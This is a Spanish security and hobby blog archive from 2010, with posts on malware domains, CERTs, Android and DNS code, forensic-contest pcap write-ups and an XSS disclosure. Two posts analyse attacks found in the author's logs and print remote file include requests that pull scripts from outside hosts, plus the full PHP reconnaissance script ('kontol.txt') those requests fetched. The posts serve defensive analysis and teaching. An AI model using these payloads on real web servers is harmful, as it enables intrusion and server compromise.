Para empezar abría que atajar el problema desde la fuente inicial, es decir, el dominio, en este caso ruso, que es usado para distribuir el malware. De este modo evitamos que las personas accedan al malware.

Bajo mi punto de vista debería de investigarse las posibles conexiones que puede haber con los servidores DNS (gracias a los cuales se puede hacer fastflux), en este caso "ns1.growth-property.net" y "ns1.pointstory.net".

Si analizamos el malware, podemos ver que realiza conexiones a otro dominio, este dominio tendría que ser neutralizado de igual modo para poder desactivar el troyano.
Sería muy recomendable seguir analizado el malware durante un tiempo por si descargase alguna actualización que variara su comportamiento.

Este caso es publicado por Hispasec en la "una al día", el día 15, a día de hoy este sitio sigue estando accesible. Vermos cuanto tardan en liminarlo o si no se elimina.

Más información:
http://www.hispasec.com/unaaldia/4252
http://blog.s21sec.com/2009/09/detectando-un-zeus.html

16 de junio de 2010

CSIRTs y CERTs de España

Para quienes no sepáis a que me refiero con CERT o CSIRT, son las siglas de "Computer Emergency Response Team" y "Computer Security Incident Response Team" respectivamente; es decir, son los encargados de gestionar los incidentes de seguridad relacionados con sistemas de computación, equipos y redes informáticas.

Existe un organismo que intenta agrupar a los principales CERTs y CSIRTs regionales, tanto públicos como privados. El FIRST (Forum of Incidence and Response Security Teams) tiene como principal misión la colaboración entre los distintos CERTs y CSIRTs públicos y privados.

En España tenemos 5 CERTs/CSIRTs miembros del FIRST:

Pero no son los únicos CERTs o CSIRTs existentes en España. Algunas comunidades autónimas y/o regiones tienen sus propios equipos, aunque no pertenecen al FIRST como csirt.ecija.com o sirtcv.es entre otros.

15 de junio de 2010

Listando contactos en Android con "Android.Contact"

Como prometí en el primer post sobre Android hoy voy a esplicar un poco de código de Android.

En este ejemplo podremos ver como se obtiene datos de contactos con una API menor de 5, es decir para los moviles con Android 1.x y actualmente se encuentra deprecated (obsoleta), en general esto quere decir que en un futuro será eliminada. Pero no obtante este no es el caso, ya que esta API continuará activa, pero sólo devolverá datos de la primera cuenta de Google creada.

Para el API 5 se creó la clase "ContactsContract", más reciente, que permite acceder a múltiples cuentas y agregar contactos que tengan un apoyo similar.

Para este ejemplo vamos a usar un "Cursor" para acceder a los datos, la clase "Contacts.Phones" para obtener las constantes para acceder a los datos de la agenda. Por supuesto, para poder leer esto es necesario tener permiso para leer la agenda. (Puedes descargar el codigo desde http://pastebin.com/AMGkjhzz)
@SuppressWarnings("finally")
public static boolean isContact(String num, ContentResolver contentResolver) {
 /**
  * Dado un numero de telefono num, retorna si está o no en la agenda
  * Para poder acceder a estos datos es necesario tener permiso de leectura de contactos.
  * ("android.permission.READ_CONTACTS" en AndroidManifest.xml)
  * @param num Numero de telefono
  * @param context Contexto con permisos de leectura de Contactos
  */
 boolean ret = false;
 try{
  Cursor cur = contentResolver.query(Contacts.Phones.CONTENT_URI, null, null, null, null);
  int index = cur.getColumnIndex(Contacts.Phones.NUMBER);
  while (!ret && cur.moveToNext())
   if (num.equals(cur.getString(index)))
    ret = true;
  cur.close();
 } catch (Exception e) {
  e.printStackTrace();
 } finally {
  return ret;
 }
}

Más Información:
http://developer.android.com/guide/appendix/api-levels.html

ContentResolver

6 de junio de 2010

Verano de rol

Aunque parezca mentira cuando empezé este blog tenía ganas de escribir cosas de rol, y no solo de informática y seguridad.

Tras varios meses de vida por fin hoy vamos a escribir este primer post sobre los próximos eventos roleros en Andalucía.

Las primeras jornadas a las que tengo intención de ir son las Ex-mundis.
Estas jornadas se celebran en Almería, concretamente en "Purchena" del 30 de Julio al 1 de agosto.
Además este año cumplen 10 años organizando estos encuentros, todo un logro.
El año pasado desafortunadamente coincidieron con las ERA (Encuentros Roleros Andaluces) y no puede ir.

Y la semana siguiente a las Ex-mundis tenemos en Granada las JLA (Jornadas Lúgicas Andaluzas).
Las JLA son organizadas por la misma organización que otros años hiciera las ERA (antes mencionadas) este año las ERA han mutado en JLA.
Este año las JLA se celebrarán en "Maracena" en lugar de Granada capital como ocurria con las ERA. Pero lo más destacables es que este año el alojamiento es gratuito.
Estas jornada como ocurrian con las ERA se celebran durante 4 intensos días, del 5 al 8 de Agosto.

Bueno espero que este sea el primero de muchos post sobre rol.

Más información:
Exmundis:
Web: http://www.exmundis.org/
Usuario Tuenti: http://www.tuenti.com/#m=Profile&func=index&user_id=68788926

JLA:
Web: http://jornadasludicasandaluzas.isgreat.org/
Página Tuenti: http://www.tuenti.com/#m=Page&func=index&page_key=1_148_61008280

23 de mayo de 2010

Reto 12 de ESET-LA

ESET Latino América realiza habitualmente diversos retos para hacer pensar a sus lectores.

El reto 12 de ESET trata de hacer que dos robots colisionen en una linea infinita. Os invito a ver la descripción original en el sitio de ESET Latino América en http://blogs.eset-la.com/laboratorio/2010/05/22/desafio-12-eset/

El principal problema que tenemos es que la linea al ser infinita evita que si ambos robots van en la misma dirección puedan colisionar, por tanto lo primero que tenemos que hacer es pensar como podemos hacer para acotar la linea.

Como desconocemos si el otro robot está a izquierda o a derecha, tendremos que ir mirando a uno y otro lado para ver si encontramos la marca (de aceite) del robot que buscamos y así poder acotar el recorrido.
Para esto tenemos que hacer una busqueda primero hacia un lado y luego hacia otro, asta encontar las marcas. Y luego ir siempre por este camino.

Para esto vamos ha hacer "bibar" sobre la marca de aceite a los robots e iremos incrementando su recorrido.

IZQ - Mover a izquierda
DER - Mover a derecha
¿ACEITE? - Evitar la siguiente instrucción si existe aceite en donde estoy
GOTO - Ir a etiqueta

Code Pseudolenguaje:
F_CONT = 0
F_MOV = FALSE
CONT = 1
MODO = FALSE

IR:
SI F_CONT > 0:
CONT = F_CONT;
MODO = F_MOV;

PARA CONT:
SI MODO:
IZQ;
SINO:
DER;
FINPARA

¿ACEITE?
GOTO VUELVE;
GOTO FOUND;

FOUND:
F_CONT = CONT;
F_MOV = MODO;

VUELVE:
MODO = !MODO;
PARA CONT:
SI MODO:
IZQ;
SINO:
DER;
FINPARA
CONT = CONT + 1;
GOTO IR;

19 de mayo de 2010

Native Client SDK

Native Client SDK es un nuevo proyecto de Google para tratar de hacer más pontete la web.

La idea de Google es poder ejecutar código nativo desde la web. De este modo se pude aunmentar el portencial de las aplicaciones web dado que JavaScript no tiene la potencia que puden tener otros lenguajes.

Con esta iniciativa se dá más poder a los desarroyadores para poder acceder a más partes de la maquina de quien accede a ellas.

Bajo mi punto de vista este desarroyo puede tener implicaciones graves de seguridad; dado que los nuevos Virus, Troyanos y demás malware podría aprovechar esta tecnología para hacerse más potentes, dado que ya no tendrán que explotar vulnerabilidades de los navegadores, sino que podrán ejecutarse directamente.

Os dejo el video del proyecto:



Más Info:
http://code.google.com/p/nativeclient-sdk/

16 de mayo de 2010

Reto 2 de "forensicscontest.com"

En el segundo reto forense, vamos a buscar indicios que ayude a la policía a encontrar a un fugitivo (Ann).

Ann ha comunicado a su amante donde se va ha esconder. Para poder descubirlo tendremos que buscar la información que ha sido enviada por correo de Ann a su amante.

Las preguntas que tenemos que responder son:

1. ¿Cuál es la dirección de correo electrónico de Ann?
2. ¿Cuál es la contraseña de correo electrónico de Ann?
3. ¿Cuál es la dirección de correo electrónico del amante secreto de Ann?
4. ¿Qué dos elementos pide Ann a su amante secreto?
5. ¿Cuál es el nombre del archivo adjunto enviado Ann a su amante secreto?
6. ¿Cuál es la suma md5 del archivo adjunto enviado Ann a su amante secreto?
7. ¿En qué ciudad y país es su punto de encuentro?
8. ¿Cuál es la suma md5 de la imagen incrustada en el documento?

Dado que nuestra misión es interceptar un correo vamos a filtrar el trafico SMTP (Filtro [smpt]).
A continución vamos ver la primeta traza (Filtro [tcp.stream eq 2]).

En ella podemos ver que existe una conexión a un servicio de correo de "aol.com"

De esta trama destacaré:
EHLO annlaptop
...
AUTH LOGIN
334 VXNlcm5hbWU6
c25lYWt5ZzMza0Bhb2wuY29t
334 UGFzc3dvcmQ6
NTU4cjAwbHo=
235 AUTHENTICATION SUCCESSFUL
MAIL FROM: <sec558@gmail.com>
...

En este punto se puede ver como se autentica contra el servidor. El contenido se encuentra cifrado en Base64
EHLO annlaptop
...
AUTH LOGIN
334 Username:
sneakyg33k@aol.com
334 Password:
558r00lz
235 AUTHENTICATION SUCCESSFUL
MAIL FROM: <sec558@gmail.com>

Pero este primer mensaje no nos dá ninguna pista de su ubicación, por tanto vamos a por la siguiente trama interesante.

Podemos saver cuando se ha enviado otro correo por el saludo al servidor (Filtro [tcp.stream eq 3]).

En este mensaje, dirigido a "mistersecretx@aol.com" podemos ver que se hace referencia a un pasaporte y que se ha adjuntado un documento "secretrendezvous.docx"

Si abrimos el fichero docx podemos ver un mapa del sitio donde se piensan fugar.

Teniendo todos estos datos vamos a empezar a contestar las preguntas.

1. sneakyg33k@aol.com
2. 558r00lz
3. mistersecretx@aol.com
4. ... Bring your fake passport and a bathing suit. ...
5. secretrendezvous.docx
6. 9e423e11db88f01bbff81172839e1923
7. "Playa del Carmen, Mexico"
Para responder a la pregunta octaba podemos cambiar la extensión del fichero docx a zip y en la carpeta "word/media" la imagen que nos interesa.
8. aadeace50997b1ba24b09ac2ef1940b7

Fuente original (Ingles):
http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail

12 de mayo de 2010

Network Security Monitoring

Este martes he estado asistiendo a unas jornadas en el Parte Tecnológico de Andalucía sobre seguridad.

La charla se dividía en dos partes; la primera sobre APT (Avanced Persistent Threats, nada que ver con la herramienta Linux) y la segundas sobre NSM (Network Security Monitoring).

Personalmente me ha gustado gratamente la charla sobre NSM, quizás porque tenía muy visto los ataques APT, dada la moda de este tipo de ataques y el boom de textos sobre este tema, tras los ataques a Google y otras empresas, sufridos supuestamente por China.

Bueno a lo que vamos.

En la jornada se vió un pequeño ejemplo sobre un reto realizado por el SANS, en concreto el siguiente: http://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim.

En este reto nos dan un preludio y un fichero pcap con las tramas que nos interesan.

En este caso se trata de una empresa que cree que uno de sus empleados les ha robado su receta secreta. Además han detectado un acceso extraño por su red WiFi. Tu objetivo es resolver las siguientes preguntas:

1. ¿Cuál es el nombre del compañero de Ana de mensajería instantánea?
2. ¿Cuál fue el primer comentario en la conversación de mensajería instantánea capturada?
3. ¿Cuál es el nombre del archivo transferido Ann?
4. ¿Cuál es el número mágico del archivo que desea extraer (los cuatro primeros bytes)?
5. ¿Cuál fue la suma md5 del archivo?
6. ¿Cuál es la receta secreta?

Para realizar la primera parte de este ejercicio vamos a usar Wireshark.
Como sabemos la IP del implicado es 192.168.1.158. Podemos filtar para solo ver el contenido relacionado con el implicado (Filtro [ip.addr == 192.168.1.158]). Si seguimos el flujo de la primera traza TCP podemos ver la (Filtro [tcp.stream eq 2]) conversación. Esto nos resuelve varias dudas.
: Here's the secret recipe... I just downloaded it from the file server. Just copy to a thumb drive and you're good to go >:-)
: recipe.docx
Sec558user1: thanks dude
Sec558user1: can't wait to sell it on ebay
: see you in hawaii!

Con esta conversación ya savemos varias cosas.
1. Sec558user1
2. Here's the secret recipe... I just downloaded it from the file server. Just copy to a thumb drive and you're good to go >:-)
3. recipe.docx

Para responder a la cuarta pregunta tendremos que buscar cual es el número mágico de los ficheros docx.
4. 0x50 0x4B 0x03 0x04 en ASCII "PK"

Para obtener el fichero vamos a usar NetworkMiner.

5. 8350582774e1d4dbe1d61d64c89e0ea1
6. El contenido de la receta secreta os lo dejo averiguar a ustedes.

9 de mayo de 2010

DNSpython - Sacando información de los DNS con Python

Como ya escribí en el post "Obtención de información de las DNS usando nslookup" desde un servidor DNS se puede obtener mucha información interesante.

El el post pasado para obtener la información usamos la herramienta nslookup. En este caso vamos a implemantar una herramienta que obtenga los datos más interesantes usando la librería DNSPython.

Los datos vamos a mostrar son: CNAME (Nombre canónico) , IPs y sus resoluciones inversas, MX (Registros de correo), NS (Registros de servidores DNS), SOA (marca el inicio de una zona de autoridad), TXT, LOC (localización), MINFO y HINFO (Información del correo y host respectivamente).

Cabe destacar que algunos de estos datos no se encuentran en todos los servidores de nombre.

Además para realizar las consultas vamos a usar en DNS de google situado en 8.8.8.8.

Bueno a continuación el código:

'''
@copyright: GPL v.3
@author: ehooo
@contact: <ehooo|at|rollanwar|dot|net>
'''
import dns.resolver
import dns.reversename
import getopt, sys

if __name__ == '__main__':
try:
opts, args = getopt.getopt(sys.argv[1:], "h:", ["host="])
except getopt.error, msg:
print msg
print sys.argv[0] + " [ -h | --host= ]"
exit(2)
host = None
for o, a in opts:
if o in ("-h", "--host"):
host = a
if host is None:
print sys.argv[0] + " [ -h
| --host= ]"
exit(1)

myresolver = dns.resolver.Resolver()
myresolver.domain = dns.name.Name("google-public-dns-a.google.com")
myresolver.nameserver = ['8.8.8.8']

print "DATOS DEL HOST:", host
try:
answers = myresolver.query(host, 'CNAME')
for rdata in answers:
print "CNAME:", str(rdata.target)
except dns.resolver.NoAnswer:
print "CNAME: No se puede obtener"

try:
answers = myresolver.query(host, 'A')
ip = []
for rdata in answers:
n = dns.reversename.from_address(rdata.address)
try:
answers_inv = myresolver.query(n, 'PTR')
for rdata_inv in answers_inv:
ip += [(rdata.address, str(rdata_inv.target))]
except dns.resolver.NoAnswer:
ip += [(rdata.address, "PTR: Sin respuesta "+str(n))]
except dns.resolver.NXDOMAIN:
ip += [(rdata.address, "PTR: Dominio NX "+str(n))]
print "IPs:", ip
except dns.resolver.NoAnswer:
print "IPs: No se puede obtener"

try:
answers = myresolver.query(host, 'MX')
mx = []
for rdata in answers:
mx += [str(rdata.exchange)]
print "MXs:", mx
except dns.resolver.NoAnswer:
print "MXs: No se puede obtener"

try:
answers = myresolver.query(host, 'NS')
ns = []
for rdata in answers:
ns += [str(rdata.target)]
print "NSs:", ns
except dns.resolver.NoAnswer:
print "NSs: No se puede obtener"

try:
answers = myresolver.query(host, 'SOA')
for rdata in answers:
print "SOA:", str(rdata.mname), str(rdata.rname)
except dns.resolver.NoAnswer:
print "SOA: No se puede obtener"

try:
answers = myresolver.query(host, 'TXT')
for rdata in answers:
print "TXT:", rdata.strings
except dns.resolver.NoAnswer:
print "TXT: No se pueden obtener"

try:
answers = myresolver.query(host, 'LOC')
for rdata in answers:
print "LOC:", "Latitud",rdata.float_latitude,"Logitud", rdata.float_longitude
except dns.resolver.NoAnswer:
print "LOC: No se pueden obtener"

try:
answers = myresolver.query(host, 'MINFO')
for rdata in answers:
print "MINFO:", rdata.to_text()
except dns.resolver.NoAnswer:
print "MINFO: No se pueden obtener"

try:
answers = myresolver.query(host, 'HINFO')
for rdata in answers:
print "HINFO:", rdata.to_text()
except dns.resolver.NoAnswer:
print "HINFO: No se pueden obtener"


El resultado sería el siguiente:

DATOS DEL HOST: www.rollanwar.net
CNAME: rollanwar.net.
IPs: [('66.98.184.55', 'hispla.com.')]
MXs: ['rollanwar.net.']
NSs: ['ns1.hispla.com.', 'ns2.hispla.com.']
SOA: ns1.hispla.com. sistema.hispla.com.
TXT: No se pueden obtener
LOC: No se pueden obtener
MINFO: No se pueden obtener
HINFO: No se pueden obtener

Más info:

http://www.iana.org/assignments/dns-parameters
http://www.dnspython.org/

30 de abril de 2010

XSS en la web de trafico de RICA (Red informatica cientifica de andalucia)

Buscando un formación sobre las redes públicas españolas he podido descubrir un fallo leve de seguridad que ya ha sido notificado a los administradores del sitio.

El error era causado al no validar correctamente la variable "titulo", que se usa para escribir el título de las gráficas mostradas.

Os dejo una imagen sobre el fallo.
De Rollanwar

En el ejemplo se ha usado un iframe y un javascript para mostrar los impactos más importantes.

Una vez encontrado este fallo me puse en contacto con el quipo de seguridad de CICA quienes solucionaron el problema en dos "partes".

La primera solución, temporal, filtraba las comillas (', ") del título. Esto complica la escritura del XSS, pero no soluciona correctamente el problema.

Como no se filtra el código HTML y los navegadores son relajados para la interpretación de código HTML, se podría explotar linkando un JS externo y ejecutandolo el código escrito en la web.

Como observé que este primer filtro no solucionaba el problema, y como no había recibido contestación, me puse en contacto con ellos para conocer el estado de la incidencia y sugerirles usar el filtro 'htmlentities'.

Este post ha sido publicado tras recibir y confirmar que el fallo se encontraba solucionado.

TIMELINE:
18-04-2010: Descubierta
19-04-2010: Notificado y recibido la respuesta
20-04-2010: Solución temporal (No soluciona el problema del todo. Aún no he recibido notificación oficial)
23-04-2010: Me pongo en contacto de nuevo con ellos para confirmar que siguen con ello.
28-04-2010: Me confirman que están trabajando en ello.
30-04-2010: Me confirman la solución y publicación.

18 de abril de 2010

Redes publicas en España

España como todos los países posé una infraestructura pública (Gestionada por Red.es) para Internet que permite a las distintas administraciones y empresas conectarse con el resto del mundo y entre sí.

La principal red española es RedIRIS.

Cito:
RedIRIS es la red académica y de investigación española y proporciona servicios
avanzados de comunicaciones a la comunidad científica y universitaria nacional.
Está financiada por el Ministerio de Ciencia e Innovación, e incluida en su
mapa de Instalaciones Científico Tecnológicas Singulares. Se hace cargo de su
gestión la entidad pública empresarial Red.es, del Ministerio de Industria,
Turismo y Comercio.

A continucación podéis ver el mapa de red de RedIRIS

Os recuerdo que esta infraestructura es la relativa a RedIRIS y que no tiene que ver con las redes privadas que seguramente sean más extensas, y que abría que analizar por separado, para ver el impacto real sobre la velocidad final del usuario.

Existen dos nodos españones de intercambio, Espanix y Catnix que interconectan la red pública con nodos privados.

Para poder ver esto desde un punto de vista de los nodos de red (los enrrutadores de internet) podemos visitar las gráficas que genera robtex sobres estos nodos. El Nodo de RedIRIS está identificado como AS776, el de Espanix como AS6895 y Catnix como AS13041.

No solo la comunidad autónoma de Cataluña gestiona su infraestructura de red, la comunidad Andaluza tambien gestiona su red. No he podido encontrar otras comunidades que gestionen sus redes, si sabéis de alguna otra os invito a que comentéis este post.

Pero esta red pública se conecta con otros nodos públicos y privados que permiten la interconexión con el resto del mundo.


Las conexiones internacionales que tiene españa con el resto del mundo son:
Con América por Panamá y Brasil (622Mbps).
Con Africa por Argelia (155Mb).
Con Asia por India (2,5Gbps).
Con Europa por Portugal (10Gbps), Italia (10Gbps), Francia (10Gbps) y Suiza (Fibra oscura).

Documentación:
Redes Nacionales
Conexiones Europeas
Conexiones Internacionales
Conexiones en el mediteraneo
Conexiones con Suramérica

13 de abril de 2010

Examinando un ataque parado por SaveBot

Vamos a ver el último ataque que parado por SaveBot:

El atacante tenia la ip: 222.122.197.xxx y se conectó desde el puerto 33302.

El atacante procedía de Korea, de un hosting koreano con 114 hosting virtuales.

El User-Agent usado ha sido "libwww-perl/5.79", por lo que SaveBot lo ha detenido.

El ataque:
cat=5///vwar/backup/errors.php?error=http://xxxxxxxxxxx.com/images/kontol.txt?

El dominio está registrdo en Ucrania y el hosting (91.196.0.xxx) también se encuentra alli.

El contenido de "kontrol.txt" es:
<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number);
}
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024);
}
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024);
}
return sprintf("%0.2f Gb", $number/1024/1024/1024);
}

echo "Coracore<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {
$free = 0;
}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {
$all = 0;
}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

echo "Coracore<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;

El resultado mostraría algo así:
Coracore
Coracore
uname -a: @php_uname();
os: @PHP_OS;
id: system(id)
free: diskfreespace(@getcwd())
used: ConvertBytes($all1-$free1)
total: disk_total_space(@getcwd())

Este ataque permite mostrar los datos del servidor facilitando un futuro ataque.

24 de marzo de 2010

Primeros ataques del año, esta vez RFI

Como ya ocurriera en el post "Primeros ataques, siguiendo el rastro", recientemente he revisado mis log y he detectado varios ataque automatizados. En esta ocasión solo buscaban fallos RFI (remote file include).

El día 2010/03/19 a las 16:52:15 desde 95.110.224.XXX (Italia)
Petición: “?p=153//errors.php?error=www.xxxxxxxxxxx.or.kr/id?″
User-Agent: libwww-perl/5.805
Intentaba incluir un código alojado en una web coreana con IP 211.202.2.XXX

El día 2010/03/12 a las 03:00:35 desde 187.40.43.XXX (Brasil)
Petición: “?p=http://www.xxxxxxxxxxx.net/id.txt??″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en una web italiana con IP 213.217.147.XXX

El día 2010/03/07 a las 22:00:13 desde 64.186.137.XXX (EEUU)
Petición: “?p=ftp://xxxuserxxx:xxxpassxxx@ftp.xxxxxxxxxxx.com.br/SenderMail.php?″
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Intentaba incluir un código alojado en un ftp brasileño con IP 200.149.77.XXX, claro para poder acceder deja su usuario y clave.

Solo uno de estos ataques ha sido "parado" por mi herramienta Save Bot, dado que no estaba incorporada la "firma" para ese user-agent (Indy Library).

Ya la he añadido en mi beta personal y la nueva versión estará proximamente disponible.

23 de marzo de 2010

WebSearch usando "you get signal"

Recientemente he visto en Pentest.es un programa que dada un IP o lista de IPs busca los dominios que le pertenecen.

Para este objetivo hace uso de el API de Bing. Me ha parecido muy buena idea, y yo he creado una función que realiza lo mismo. Desde aquí invito a que añadan a WebSearch si les gusta.

Esta utilidad hace uso de YouGetSignal para obtener los datos de dominios.
'''
@license: LGPL [http://www.gnu.org/licenses/lgpl.html]
@author: ehooo [ehooo[de]rollanwar[punto]net]
'''
import json, httplib, urllib

def search_you_get_signal(ip):
params = urllib.urlencode({'remoteAddress': ip, 'key': ""})
connection = httplib.HTTPConnection("www.yougetsignal.com")
headers = {"Host":"www.yougetsignal.com",\
"User-Agent":"WebSearch (YouGetSignal version)",\
"Accept":"*/*",\
"X-Requested-With":"XMLHttpRequest",\
"X-Prototype-Version":"1.6.0",\
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"}
url = "/tools/web-sites-on-web-server/php/get-web-sites-on-web-server-json-data.php"

connection.request("POST", url, params, headers)
response = connection.getresponse()
lista = []
if response.status is httplib.OK:
json_response = response.read()
json_parse = json.loads(json_response)
if 'domainArray' in json_parse:
for (domain, desc) in json_parse['domainArray']:
lista.append(domain)
else:
print "ERROR:"
print json_parse
else:
print "ERROR:"
print response.getheaders()
return lista

if __name__ == '__main__':
import getopt, sys
try:
opts, args = getopt.getopt(sys.argv[1:], "i:", ["ip="])
except getopt.error, msg:
print msg
print sys.argv[0] + " [ -i | --ip= ]"
exit(2)

ip = None
for o, a in opts:
if o in ("-i", "--ip"):
ip = a

if ip is None:
print sys.argv[0] + " [ -i | --ip= ]"
exit(1)

list_domain = search_you_get_signal(ip)
for domain in list_domain:
print domain


UPDATE: cambiado el nombre "list" por "lista" by david G.

22 de marzo de 2010

Un poco de APT-get

APT son las siglas de Advanced Packaging Tool (Herramienta Avanzada de Empaquetado). Esta herramienta permite al administrador del sistema, gestionar los paquetes de su sistema Linux. APT simplifica en gran medida la instalación y eliminación de programas en los sistemas GNU/Linux.

La principal utilidad de este servicio es el comando apt-get, que nos permite instalar, actualizar y eliminar paquetes y programas descargando también las dependencias necesarias.

No confundir con Advanced Persistent Threats (APT también) que es una categoría de crimeware dirigido a las empresas.

APT usa una lista de repositorios alojada en "/etc/apt/sources.list" desde donde se indica la ubicación y los paquetes necesarios para la instalación de un programa. Cada distribución Linux basada en Debian suele tener su propia lista de repositorios.

Antes de instalar o actualizar recomiendo ejecutar:

apt-get update

Este comando actualiza la lista de paquetes, de este modo aseguras descargar la última versión.

  • Instalar:
    # apt-get install <paquete>

    Reinstalar:
    # apt-get --reinstall install <paquete>


  • Actualizar (-u Muestra los paquetes que se actualizarán):
    # apt-get -u upgrade

    Actualizar distribución:
    # apt-get -u dist-upgrade


  • Eliminar:
    # apt-get remove <paquete>

    También ficheros de configuración.:
    # apt-get --purge remove <paquete>

    Eliminar paquetes no usados (todo excepto los archivos "lock")
    # apt-get clean



NOTA: Archivos "lock":
/var/cache/apt/archives/
/var/cache/apt/archives/partial/

Documentación:
http://www.debian.org/doc/manuals/apt-howto/index.es.html
http://es.wikipedia.org/wiki/Advanced_Packaging_Tool

16 de febrero de 2010

Conociendo el sistema de quien accede a la web

Existen múltiples sitios web que te muestran tu sistema y tu navegador, pero ¿como lo descubren?.

Conocer el sistema y navegador de quien accede a un sitio web es fácil de descubrir usando el valor "User-Agent" que está definido en el protocolo HTTP.

Este tag es usado para indicar que agente está accediendo a la web.

A continuación podéis ver unos cuantos ejemplos:
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB0.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7
Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; es-ES; rv:1.9.2) Gecko/20100115 Firefox/3.6
Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A542a Safari/419.3
Opera/9.80 (Windows NT 6.0; U; es-LA) Presto/2.5.21 Version/10.50
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)

Como podeis observar es simple ver el sistema y navegador de quien accede a el sitio web.

Los dos últimos agentes pertenecen a los motores de búsqueda Google y Yahoo!.

En muchas ocasiones las barras de descarga y otros componentes modifican el User-Agent para que cuando se acceda a un sitio con alguna tecnología el servidor sepa como actuar.

13 de febrero de 2010

Generación dinámica de imagenes en PHP

PHP es un lenguaje de programación que nos permite generar imágenes de forma dinámica.

La generación de imágenes dinámicas puede ser muy util para hacer Captchas, pero en el ejemplo del código a continuación vamos ha ver varias de las funciones que creo más interesantes para esto.
Header("Content-type: image/jpeg");
//Obtenemos la imagen de fondo
$img_fondo = imagecreatefromjpeg("fondo.jpg");

//Obtenemos la imagen para insertar
$img = imagecreatefromjpeg('img.jpg');
$claridad = 100;
imagecopymerge($img_fondo, $img, 40, 40, 0, 0, imagesx($img), imagesy($img), $claridad);

//Escribiendo en texto plano
$texto = "Esto es un texto sin Fuente";
$orange = imagecolorallocate($img_fondo, 220, 210, 60);
$mitad = (imagesx($img_fondo)-7.5 * strlen($texto))/2;
imagestring($img_fondo,5,$mitad,80,$texto,$orange);

//Escribiendo en texto con fuente
$font = './fuente.ttf';
$tam = 20;
$rotado = 0;
$texto = "Text TTF";
$mitad = (imagesx($img_fondo)-7.5 * strlen($texto))/2;
imagettftext($img_fondo, $tam, $rotado, $mitad, 120, $orange, $font, $texto);

imagejpeg($img_fondo);
imagedestroy($img_fondo);

Este código dá como resultado algo similar a lo siguiente:
Imagen generada con el codigo anterior

Podeis mirar más información en la web de PHP

16 de enero de 2010

Arquitectura de Android

Android es un sistema operativo diseñado por capas.

Android usa el Kernel de Linux 2.6 para comunicarse con la capa de Hardware, esto permite a Android ser compatible con muchos de los drivers creados para linux facilitando de este modo ciertos desarrollos. Permite también facilitar la creación de dispositivos de todo tipo (por ejemplo el e-Book Nook o enTourage eDGe corre un Android).

Sobre el kernel de Linux Android contiene ciertas herramientas, servicios y librerías que permiten dar más potencia al sistema (por ejemplo SQLite o OpenGL).

A la par de estas librerías y ayudandose de ellas existe la maquina virtual Dalvik que ejecuta fichero .dex empaquetados en un .apk (compresión en formato zip, similar al usado por java con los .jar); además Dalvik permite traducir las .class de JAVA a .dex usando la herramienta "dx".

Sobre estas tres capas existe un Framework que se encarga de gestionar las distintas llamadas que realicen nuestros programas.

Dada esta arquitectura un programador podría crear programas en C (por ejemplo) compilados para linux ARM (procesador usado en los moviles) que correría baja el núcleo. También podría crear un programa dex o java que corriera sobre la máquina virtual Dalvik. Por ultimo podría crear un programa que use el framework.

system-architecture

A continuación voy a explicar un poco más como funciona la principal funcionalidad usada para el desarrollo de aplicaciones en Android, que es la última capa explicada, el Framework.

Cuando creamos una aplicación podemos cuatro tipos de clases básicas distintas que podemos crear según el objetivo de estas. La arquitectura de Android define estos cuatros elementos de los que podemos heredar:

  • Activities:
    Toda clase que como consecuencia de instanciarla implique una impresión por pantalla. En un programa lector de rss sería la pantalla donde lista los elementos nuevos por ejemplo.

  • Services:
    Un servicio sería todo proceso que corre sin necesidad de usar un interfaz gráfico. Siguiendo con el ejemplo de antes un servicio sería el proceso que se encarga de ir comprobando cada X tiempo si hay o no algo nuevo en el RSS.

  • Intent:
    Es la interpretación abstracta de una acción. Semejante a un evento o interrupción. (Un click, pulsación en pantalla o pulsación de un botón)

  • Content providers & Broadcast receivers
    Este es un aspecto novedoso y jugoso de Android, bajo mi punto de vista. Está enfocado a la reutilización de código en una aplicación, por tanto una aplicación puede tener ciertos elementos que sean llamados por cuales quieran otras aplicaciones para que realice una acción.
    La diferencia entre "Content providers" y "Broadcast receivers" es que los primero trabajan sobre URIs, es decir sobre tipos de datos MIME, y los segundos trabajan a nivel de "Intent". En el ejemplo uno sería llamado cuando se encontrara el valor "application/rss+xml" y otro cuando se lanza un "Intent".


Fuentes:

http://www.dalvikvm.com/
http://developer.android.com/guide/

6 de enero de 2010

Un poco de Android

Recientemente por un incidente con un pantalón un poco ajustado he perdido parte de la pantalla de mi ex-Nokia N82. Es la segunda vez que pasa, así que he decidido pillarme un nuevo móvil.

Mi nuevo móvil es un HTC Tatoo con un Android 1.6 corriendo como sistema operativo. Yo hubiera preferido haber pillado un HTC Hero, pero el presupuesto no da.

